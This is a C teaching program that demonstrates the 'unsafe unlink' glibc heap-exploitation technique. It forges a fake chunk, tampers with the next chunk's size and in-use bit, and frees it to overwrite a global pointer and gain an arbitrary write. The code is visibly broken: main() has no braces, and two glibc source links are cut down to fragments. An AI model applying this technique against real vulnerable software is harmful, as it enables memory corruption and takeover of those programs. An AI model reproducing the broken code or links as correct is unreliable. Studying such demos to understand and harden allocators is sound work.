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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");
int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
int header_size = 2;
printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
printf("We create a fake chunk inside chunk0.\n");
printf("We setup the size of our fake chunk so that we can bypass the check introduced in;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
chunk1_hdr[0] = malloc_size;
printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
chunk1_hdr[1] &= ~1;
printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
printf("You can find the source of the unlink macro at;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
char victim_string[8];
chunk0_ptr[3] = (uint64_t) victim_string;
printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
printf("Original value: %s\n",victim_string);
chunk0_ptr[0] = 0x4141414142424242LL;
printf("New Value: %s\n",victim_string);
// sanity check
assert(*(long *)victim_string == 0x4141414142424242L);